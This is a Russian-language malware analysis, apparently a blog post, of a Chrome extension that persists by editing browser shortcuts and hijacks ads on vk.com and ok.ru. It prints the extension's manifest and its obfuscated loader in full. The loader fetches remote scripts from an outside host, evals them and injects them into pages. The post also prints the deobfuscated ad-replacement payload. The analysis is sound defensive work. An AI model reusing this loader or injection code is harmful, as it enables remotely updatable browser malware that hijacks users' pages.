Добрый день, сегодня я расскажу про одного зловреда, пойманного на просторах Интернета. Данный зловред прикидывается расширением для браузера Google Chrome. При заражении видоизменяет ярлык, дописывая команду загрузки расширения (--load-extension “путь до зловреда“). То есть, можно удалить расширение в браузере, но при следующем запуске оно установиться вновь.
Давайте заглянем «под капот» расширения:
Все исходники расширения доступны по ссылке github .
Из файла манифеста понятно что точка входа фаил bg.js, файлы bgvk.js и bgvk.css подключаются для сайта vk.com. По аналогии фалы bgok.js и bgok.css подключаются для сайта odnoklassniki.ru. Все файлы скриптов обфусцированы.
Скрипт тянется в 3 места:
По первой ссылке получаем файлик json следующего содержания:
Далее малварь тянет скрипт по этому урлу: h**p://apiadv.me/js/vkapi.js. затем идет сравнение его хеша (для получения хеша файла как раз и нужен скрипт hash.js) со значением hashv из json(правильно, а то вдруг недруги скомпрометируют!). Далее происходит сохранение полученного скрипта в chrome.storage.local под значением bxGZABwi.
Аналогично тянется скрипт h**p://apiadv.me/js/okapi.js — он сохраняется под значением tQFzTAwV. Дальнейший анализ будет только для сайта vk.com, для сайта ok.ru происходит аналогичный сценарий.
Тут происходит попытка загрузить данные из chrome.storage.local и добавление их к элементу head страницы. В случае отсутствия данных скрипт пытается забрать их из сети по той же ссылке.
Так что же к нам так усердно пытаются загрузить?
При переходе по url получаем обфусцированный файл. С помощью jsbeautifier.org приводим его к вполне читаемому виду:
Скрипт удаляет рекламу, которую отрисовывает сайт vk.com, после чего создается 2 элемента Iframe. В один из iframe отрисовывается реклама с url= :"//axisworlds.me/advpages/vadvaaa/vadvmgh.html",
затем Iframe с рекламой размещается на месте “легитимной” рекламы сайта vk.com.
Возможно это всего лишь мои предрассудки, но всё же. На текущий момент расширение просто перерисовывает рекламу в двух соц сетях, но в то же время переквалифицировать его в нечто более серьезное, изменив исходники на сервере, не составит владельцу особого труда.
Спасибо за внимание!
Давайте заглянем «под капот» расширения:
Структура расширения
Manifest.json
Bg.js
bgok.js
hash.js
bgvk.js
123.png
Папки _locales и CSS
Bg.js
bgok.js
hash.js
bgvk.js
123.png
Папки _locales и CSS
Все исходники расширения доступны по ссылке github .
Manifest.json
{ "manifest_version": 2, "name": "Go fire", "permissions": [ "<all_urls>", "*://*/*", "unlimitedStorage", "storage", "tabs", "activeTab" ], "version": "3.8", "background": { "persistent": true, "scripts": [ "hash.js", "bg.js" ] }, "content_scripts": [ { "css": [ "css/bgvk.css" ], "js": [ "bgvk.js" ], "matches": [ "*://vk.com/*", "*://*.vk.com/*" ] }, { "css": [ "css/bgok.css" ], "js": [ "bgok.js" ], "matches": [ "*://odnoklassniki.ru/*", "*://www.odnoklassniki.ru/*", "*://ok.ru/*", "*://*.ok.ru/*" ] } ], "default_locale": "ru", "description": "__MSG_appDesc__", "icons": { "128": "128.png" } }
Из файла манифеста понятно что точка входа фаил bg.js, файлы bgvk.js и bgvk.css подключаются для сайта vk.com. По аналогии фалы bgok.js и bgok.css подключаются для сайта odnoklassniki.ru. Все файлы скриптов обфусцированы.
Описание bg.js
Скрипт тянется в 3 места:
h**p://apiadv.me/hashes/apis.json
h**p://apiadv.me/js/vkapi.js
h**p://apiadv.me/js/okapi.js
По первой ссылке получаем файлик json следующего содержания:
[{"hashv":"13961f856524885207d8613a375ac2a9","hasho":"661f0a082c3153025f315eed43632dad"}]
Далее малварь тянет скрипт по этому урлу: h**p://apiadv.me/js/vkapi.js. затем идет сравнение его хеша (для получения хеша файла как раз и нужен скрипт hash.js) со значением hashv из json
Аналогично тянется скрипт h**p://apiadv.me/js/okapi.js — он сохраняется под значением tQFzTAwV. Дальнейший анализ будет только для сайта vk.com, для сайта ok.ru происходит аналогичный сценарий.
Рассмотрим поближе bgvk.js
bgvk.js
var IlTPXFOys = 'IlTPXFOysLy9hcGlhZHYubWUvanMvdmthcGkuanM=IlTPXFOya'; // "http://apiadv.me/js/vkapi.js" var j = '//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js'; var s = document.createElement('script'); s.type = 'text/javascript'; s.src = j; document.head.appendChild(s); function LnDgSyNS() { var b = new XMLHttpRequest(); b.open('GET', j, true); b.onreadystatechange = function () { if (b.readyState == 4 && b.status === 200) { eval(b.responseText); } ; }; b.send(); var t = 0; function g() { if (window.jQuery) { jQuery.getScript(atob(IlTPXFOys.slice(9, -9)) + '?' + Math.floor((Math.random() * 1e+10) + 1)); } else { t++; if (t < 100) { setTimeout(g, 100); } ; } ; }; g(); }; chrome.storage.local.get({bxGZABwi: ''}, function (syncdata) { if (!chrome.runtime.lastError) { if (syncdata.bxGZABwi != '') { var i = document.createElement('script'); i.type = 'text/javascript'; i.innerHTML = syncdata.bxGZABwi; document.head.appendChild(i); } else { LnDgSyNS(); } ; } else { LnDgSyNS(); } ; });
Тут происходит попытка загрузить данные из chrome.storage.local и добавление их к элементу head страницы. В случае отсутствия данных скрипт пытается забрать их из сети по той же ссылке.
Так что же к нам так усердно пытаются загрузить?
Рассмотрим файл vkapi.js
При переходе по url получаем обфусцированный файл. С помощью jsbeautifier.org приводим его к вполне читаемому виду:
vkapi.js
if (document['getElementById']('ads_left') != null) { document['getElementById']('ads_left')['innerHTML'] = '' }; if (document['getElementById']('left_ads') != null) { document['getElementById']('left_ads')['innerHTML'] = '' }; var vkui = 1; if (document['getElementById']('side_bar_inner') == null) { vkui = 2 }; function A() { var _0xb14bx3 = ''; var _0xb14bx4 = 'abcdefghijklmnopqrstuvwxyz_'; for (var _0xb14bx5 = 0; _0xb14bx5 < 32; _0xb14bx5++) { _0xb14bx3 += _0xb14bx4['charAt'](Math['floor'](Math['random']() * _0xb14bx4['length'])) }; return _0xb14bx3 } var asrcfrmn = A(); function SETSRCFRM(_0xb14bx8) { var _0xb14bx9; if (_0xb14bx8 == 1) { _0xb14bx9 = 'side_bar_inner' } else { _0xb14bx9 = 'side_bar' }; if (document['getElementById'](_0xb14bx9) != null && document['getElementById'](asrcfrmn) == null && document['getElementById'](asrcfrmn + '_a') == null && document['getElementById']('quick_login') == null) { var _0xb14bxa = document['createElement']('div'); _0xb14bxa['setAttribute']('id', asrcfrmn); _0xb14bxa['setAttribute']('style', 'position:relative;'); if (_0xb14bx8 == 1) { $('#' + _0xb14bx9 + ' ol')['after'](_0xb14bxa) } else { $('#' + _0xb14bx9)['append'](_0xb14bxa) }; var _0xb14bxb = 'display:none;padding:0px;padding-top:0px;border:none;width:130px;height:1080px;overflow:hidden;z-index:100;position:static;'; var _0xb14bxc = document['createElement']('iframe'); _0xb14bxc['setAttribute']('style', _0xb14bxb); _0xb14bxc['setAttribute']('id', asrcfrmn + '_a'); _0xb14bxc['setAttribute']('marginwidth', '0'); _0xb14bxc['setAttribute']('marginheight', '0'); _0xb14bxc['setAttribute']('scrolling', 'no'); _0xb14bxc['setAttribute']('frameborder', '0'); $('#' + asrcfrmn)['append'](_0xb14bxc); var _0xb14bxd = document['createElement']('iframe'); _0xb14bxd['setAttribute']('style', _0xb14bxb); _0xb14bxd['setAttribute']('id', asrcfrmn + '_b'); _0xb14bxd['setAttribute']('marginwidth', '0'); _0xb14bxd['setAttribute']('marginheight', '0'); _0xb14bxd['setAttribute']('scrolling', 'no'); _0xb14bxd['setAttribute']('frameborder', '0'); $('#' + asrcfrmn)['append'](_0xb14bxd) }; function _0xb14bxe() { var _0xb14bxe = ['aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9zZWFyY2hwbHVzLm1lL3ZhZHZhL3ZhZHZyY2EuaHRtbA==']; return _0xb14bxe[Math['floor'](Math['random']() * _0xb14bxe['length'])]['substr'](3) } function _0xb14bxf(_0xb14bx10, _0xb14bx11, _0xb14bx12, _0xb14bx13, _0xb14bx14, _0xb14bx15) { if (_0xb14bx13 == 0 && _0xb14bx14 == 0) { $(_0xb14bx10)['animate']({ opacity: _0xb14bx12 }, _0xb14bx11, function () { if (_0xb14bx15 == 1) { $(_0xb14bx10)['removeAttr']('src') } }) }; if (_0xb14bx13 != 0 && _0xb14bx14 == 0) { $(_0xb14bx10)['animate']({ opacity: _0xb14bx12 }, _0xb14bx11, function () { $(_0xb14bx10)['css']({ "display": _0xb14bx13 }); if (_0xb14bx15 == 1) { $(_0xb14bx10)['removeAttr']('src') } }) }; if (_0xb14bx13 == 0 && _0xb14bx14 != 0) { $(_0xb14bx10)['animate']({ opacity: _0xb14bx12 }, _0xb14bx11, function () { $(_0xb14bx10)['css']({ "position": _0xb14bx14 }); if (_0xb14bx15 == 1) { $(_0xb14bx10)['removeAttr']('src') } }) }; if (_0xb14bx13 != 0 && _0xb14bx14 != 0) { $(_0xb14bx10)['animate']({ opacity: _0xb14bx12 }, _0xb14bx11, function () { $(_0xb14bx10)['css']({ "display": _0xb14bx13 , "position": _0xb14bx14 }); if (_0xb14bx15 == 1) { $(_0xb14bx10)['removeAttr']('src') } }) } } var _0xb14bx16 = document['getElementById'](asrcfrmn + '_a'); var _0xb14bx17 = document['getElementById'](asrcfrmn + '_b'); if (_0xb14bx16['style']['display'] == 'none') { _0xb14bx16['setAttribute']('src', atob(_0xb14bxe())); function _0xb14bx18() { document['getElementById'](asrcfrmn + '_a')['onload'] = null; if (_0xb14bx16['getAttribute']('src') != null) { $('#' + asrcfrmn + '_b')['css']({ "z-index": '100' , "position": 'static' }); $('#' + asrcfrmn + '_a')['css']({ "z-index": '101' , "position": 'absolute' , "opacity": 0 , "display": 'block' , "top": 0 , "left": 0 }); _0xb14bxf('#' + asrcfrmn + '_a', 200, 1, 0, 'static', 0); _0xb14bxf('#' + asrcfrmn + '_b', 200, 0, 'none', 0, 1) } } document['getElementById'](asrcfrmn + '_a')['onload'] = _0xb14bx18 } else { _0xb14bx17['setAttribute']('src', atob(_0xb14bxe())); function _0xb14bx19() { document['getElementById'](asrcfrmn + '_b')['onload'] = null; if (_0xb14bx17['getAttribute']('src') != null) { $('#' + asrcfrmn + '_a')['css']({ "z-index": '100' , "position": 'static' }); $('#' + asrcfrmn + '_b')['css']({ "z-index": '101' , "position": 'absolute' , "opacity": 0 , "display": 'block' , "top": 0 , "left": 0 }); _0xb14bxf('#' + asrcfrmn + '_b', 200, 1, 0, 'static', 0); _0xb14bxf('#' + asrcfrmn + '_a', 200, 0, 'none', 0, 1) } } document['getElementById'](asrcfrmn + '_b')['onload'] = _0xb14bx19 } } var winact; var eventct = 1; function RI() { IRF = setInterval(function () { if (winact == 'active') { SETSRCFRM() } }, 120000) } function FR() { setTimeout(function () { eventct = 0 }, 3500) } function CL() { if (eventct == 0) { eventct = 1; SETSRCFRM(); clearInterval(IRF); RI(); FR() } } function RLA() { $('#left_ads, #ads_left')['remove'](); setTimeout(RLA, 30000) } function MAINSTART() { SETSRCFRM(vkui); FR(); RI(); RLA(); var _0xb14bx21 = $('#side_bar_inner ol')['height']() - 8; if (_0xb14bx21 > 6) { $('#side_bar_inner')['css']('height', _0xb14bx21) }; $('a, a span')['click'](function () { CL() }); $(document)['on']('click', 'a div, div a, button, a > b', function () { CL() }); setTimeout(function () { $('#left_blocks, .left_holiday')['animate']({ "opacity": '0' }, 300, function () { $('#left_blocks, .left_holiday')['hide']() }) }, 10000); var _0xb14bx22; $(document)['mousemove'](function () { if (winact != 'active') { winact = 'active' }; clearTimeout(_0xb14bx22); _0xb14bx22 = setTimeout(function () { winact = 'inactive' }, 120000) }); $(document)['hover'](function (_0xb14bx23) { if (_0xb14bx23['fromElement']) { winact = 'inactive'; clearTimeout(_0xb14bx22) } else { winact = 'active' } }) } var trystart = 0; function START() { trystart += 1; if (window['jQuery']) { MAINSTART() } else { if (trystart > 35) { var _0xb14bx26 = document['createElement']('script'); _0xb14bx26['type'] = 'text/javascript'; _0xb14bx26['src'] = '//code.jquery.com/jquery-1.12.3.min.js'; document['head']['appendChild'](_0xb14bx26) }; if (trystart < 500) { setTimeout(START, 75) } } } START(); var st = document['createElement']('style'); st['innerHTML'] = '#left_ads,#left_ads > *,#ads_left,#ads_left > * > *,div[id*="ayments_bo"],div[class*="anding_moneysen"],div[id*="ds_page_simpl"] div[class*="ds_intro_pag"],div[id*="ickets_conten"] div[id*="ew_ticke"],div[id="ads_page_wrap3"],div[class*="log_about_pres"] div[class*="log_about_wra"]{display:none!important;opacity:0!important;height:0px!important;min-height:0px!important;}'; document['head']['appendChild'](st)
Скрипт удаляет рекламу, которую отрисовывает сайт vk.com, после чего создается 2 элемента Iframe. В один из iframe отрисовывается реклама с url= :"//axisworlds.me/advpages/vadvaaa/vadvmgh.html",
затем Iframe с рекламой размещается на месте “легитимной” рекламы сайта vk.com.
Вместо эпилога.
Возможно это всего лишь мои предрассудки, но всё же. На текущий момент расширение просто перерисовывает рекламу в двух соц сетях, но в то же время переквалифицировать его в нечто более серьезное, изменив исходники на сервере, не составит владельцу особого труда.
Спасибо за внимание!
